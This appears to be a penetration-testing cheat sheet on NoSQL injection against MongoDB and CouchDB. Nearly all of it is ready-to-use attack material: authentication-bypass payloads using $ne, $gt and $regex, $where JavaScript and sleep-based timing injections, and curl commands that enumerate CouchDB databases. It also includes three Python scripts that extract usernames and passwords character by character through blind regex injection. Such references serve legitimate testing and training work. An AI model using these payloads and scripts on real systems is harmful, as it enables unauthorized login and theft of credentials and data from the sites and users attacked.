- Overview
- Authentication Bypass
- MongoDB Injection
- CouchDB Injection
- Blind NoSQL Injection
- Operators Exploitation
NoSQL injection occurs when user input is improperly sanitized before being used in NoSQL database queries. Unlike SQL injection, NoSQL databases use different query formats (JSON, BSON, etc.).
Common NoSQL Databases:
- MongoDB
- CouchDB
- Redis
- Cassandra
# Quick NoSQL auth bypass test
curl -X POST http://$rhost/login -H 'Content-Type: application/json' -d '{"username":{"$ne":""},"password":{"$ne":""}}'Basic authentication bypass
{"username": {"$ne": ""}, "password": {"$ne": ""}}Always true condition
{"username": {"$gt": ""}, "password": {"$gt": ""}}Regex match all
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}Using array notation
username[$ne]=invalid&password[$ne]=invalid
Using $gt operator
username[$gt]=&password[$gt]=
Using $regex operator
username[$regex]=.*&password[$regex]=.*
With admin user
username=admin&password[$ne]=invalid
username=admin&password[$regex]=.*
POST data as arrays
username[$ne]=test&password[$ne]=test
In Burp Suite (raw)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[$ne]=test&password[$ne]=test| Operator | Description | Example |
|---|---|---|
$eq |
Equals | {"field": {"$eq": "value"}} |
$ne |
Not equals | {"field": {"$ne": "value"}} |
$gt |
Greater than | {"field": {"$gt": ""}} |
$gte |
Greater or equal | {"field": {"$gte": ""}} |
$lt |
Less than | {"field": {"$lt": "z"}} |
$lte |
Less or equal | {"field": {"$lte": "z"}} |
$in |
In array | {"field": {"$in": ["a","b"]}} |
$nin |
Not in array | {"field": {"$nin": ["a"]}} |
$regex |
Regex match | {"field": {"$regex": "^a"}} |
$exists |
Field exists | {"field": {"$exists": true}} |
$or |
OR condition | {"$or": [{...}, {...}]} |
$and |
AND condition | {"$and": [{...}, {...}]} |
$where |
JavaScript | {"$where": "this.x==this.y"} |
Basic JavaScript injection
{"$where": "1==1"}Sleep for time-based detection
{"$where": "sleep(5000)"}Data exfiltration via time
{"$where": "this.password.substr(0,1)=='a' || sleep(5000)"}Test if field starts with 'a'
{"username": "admin", "password": {"$regex": "^a.*"}}Python script for extraction
import requests
import string
url = "http://$rhost/login"
password = ""
chars = string.ascii_letters + string.digits + string.punctuation
while True:
for c in chars:
payload = {"username": "admin", "password": {"$regex": f"^{password}{c}.*"}}
r = requests.post(url, json=payload)
if "success" in r.text:
password += c
print(f"Found: {password}")
break
else:
break
print(f"Password: {password}")Inject into aggregation
{"$match": {"$or": [{"username": "admin"}, {"1": "1"}]}}Basic query
{
"selector": {
"username": {"$eq": "admin"},
"password": {"$gt": null}
}
}All documents
{
"selector": {
"_id": {"$gt": null}
}
}If JavaScript is enabled
/db/_design/doc/_view/view?key="'; return 'pwned"
List all databases
curl http://$rhost:5984/_all_dbsGet all documents
curl http://$rhost:5984/$database/_all_docsGet document content
curl http://$rhost:5984/$database/$doc_idTrue condition (login success)
username=admin&password[$regex]=^a.*
False condition (login fail)
username=admin&password[$regex]=^z.*
Using $where with sleep (MongoDB)
{"$where": "if(this.username=='admin') sleep(5000); else 0"}Character extraction with timing
{"$where": "if(this.password.charAt(0)=='a') sleep(5000); else 0"}Invalid regex to trigger error
username[$regex]=*&password=test
Integer comparison
{"count": {"$gt": 0}}Boolean injection
{"active": {"$ne": false}}$elemMatch
{"items": {"$elemMatch": {"$gt": ""}}}$size
{"items": {"$size": {"$gt": 0}}}$type check
{"field": {"$type": 2}} // String typeimport requests
import string
url = "http://$rhost/login"
username = ""
chars = string.ascii_lowercase
while len(username) < 20:
for c in chars:
payload = {
"username": {"$regex": f"^{username}{c}"},
"password": {"$ne": ""}
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 200:
username += c
print(f"[+] Username: {username}")
break
else:
break
print(f"[+] Complete username: {username}")import requests
import string
url = "http://$rhost/login"
password = ""
chars = string.ascii_letters + string.digits + "!@#$%^&*"
while len(password) < 50:
for c in chars:
# Escape special regex characters
escaped = c if c not in "^$.*+?{}[]\\|()/" else f"\\{c}"
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{escaped}"}
}
r = requests.post(url, json=payload)
if "success" in r.text:
password += c
print(f"[+] Password: {password}")
break
else:
break
print(f"[+] Complete password: {password}")Automated NoSQL injection
python nosqlmap.py -u "http://$rhost/login" --data "username=admin&password=test"Direct connection
mongo --host $rhost
mongo --host $rhost -u $username -p $password --authenticationDatabase adminIn shell
show dbs
use $database
show collections
db.$collection.find()
db.$collection.find().pretty()| Payload | Type |
|---|---|
{"$ne": ""} |
Not empty |
{"$gt": ""} |
Greater than empty |
{"$regex": ".*"} |
Match all |
{"$exists": true} |
Field exists |
{"$in": ["admin", "root"]} |
In list |
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
username[$regex]=^admin&password[$regex]=^.
username=admin&password[$regex]=^a.*
application/json → {"username": {"$ne": ""}}
application/x-www-form-urlencoded → username[$ne]=test
- SQL Injection - Traditional SQL database injection
- Web Application Analysis - Reconnaissance and vulnerability discovery
- Command Injection - OS command execution